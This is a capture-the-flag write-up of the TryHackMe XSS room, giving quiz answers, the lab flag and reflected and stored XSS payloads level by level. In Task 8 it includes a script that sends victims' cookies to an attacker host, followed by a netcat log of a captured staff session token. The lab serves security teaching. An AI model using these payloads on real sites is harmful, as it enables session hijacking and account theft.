TryHackMe - Intro to Cross-site Scripting
Task 1
What does XSS stand for?
Cross-Site Scripting
Task 2
Which document property could contain the user’s session token?
document.cookie
Which JavaScript method is often used as a Proof Of Concept?
alert
Task 3
Where in an URL is a good place to test for reflected XSS?
parameters
Task 4
How are stored XSS payloads usually stored on a website?
database
Task 5
What unsafe JavaScript method is good to look for in source code?
eval()
Task 6
What tool can you use to test for Blind XSS?
XSS Hunter Express
What type of XSS is very similar to Blind XSS?
Stored XSS
Task 7
Level 1
in input box we can just enter `’
Level 2
<h2>Hello, <input value="test"></h2> this is how level 2’s code behaves lets try to escape html tags and get a popup Payload : "><script>alert('THM');</script>
Level 3
<h2>Hello, <textarea>test</textarea></h2> for this case we can escape the textarea and get a popup </textarea><img src=x onerror=alert('THM')>
Level 4
1
2
3
4
5
6
7
<div class="text-center">
<h2>Hello, <span class="name"></span></h2>
</div>
<script>
document.getElementsByClassName('name')[0].innerHTML='test';
</script>
this is the scenario in html for this level we can escape javascript string tags and get a popup and comment the rest Payload : ';alert('THM');//
Level 5
1
2
3
<div class="text-center">
<h2>Hello, test</h2>
</div>
so here our payload <script>alert(1);</script> gets converted to <h2>Hello, <>alert(1);</></h2> since script tags are filtered we can just use <img src=x onerror=alert('THM')>
Level 6
1
2
3
4
<div class="text-center">
<h2>Your Picture</h2>
<img src="/images/cat.jpg">
</div>
we can easily convert the above img tag to our img xss payload using this payload Payload : x" onerror=alert('THM')>// and get our final flag THM{XSS_MASTER}
Task 8
in the lab we can see at tickets section
1
2
3
4
<div><label>Ticket Subject</label></div>
<div><input name="ticket_subject" class="form-control"></div>
<div style="margin-top:7px"><label>Ticket Contents</label></div>
<div><textarea class="form-control" name="ticket_contents" style="height:200px"></textarea></div>
escaping label tags for subject triggered the popup now we can steal the cookies with this payload
</label><script>fetch('http://ATTACKERBOX-IP:9001?cookie='+btoa(document.cookie))</script> and start nc listner
1
2
3
4
5
6
7
8
9
10
11
12
root@ip-MACHINE_IP:~# nc -lnvp 9001
Listening on 0.0.0.0 9001
Connection received on MACHINE_IP 44408
GET /?cookie=c3RhZmYtc2Vzc2lvbj00QUIzMDVFNTU5NTUxOTc2OTNGMDFENkY4RkQyRDMyMQ== HTTP/1.1
Host: MACHINE_IP:9001
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/89.0.4389.72 Safari/537.36
Accept: */*
Origin: http://172.17.0.1
Referer: http://172.17.0.1/
Accept-Encoding: gzip, deflate
Accept-Language: en-US
we get a response decoding cookie gives staff-session=4AB305E55955197693F01D6F8FD2D321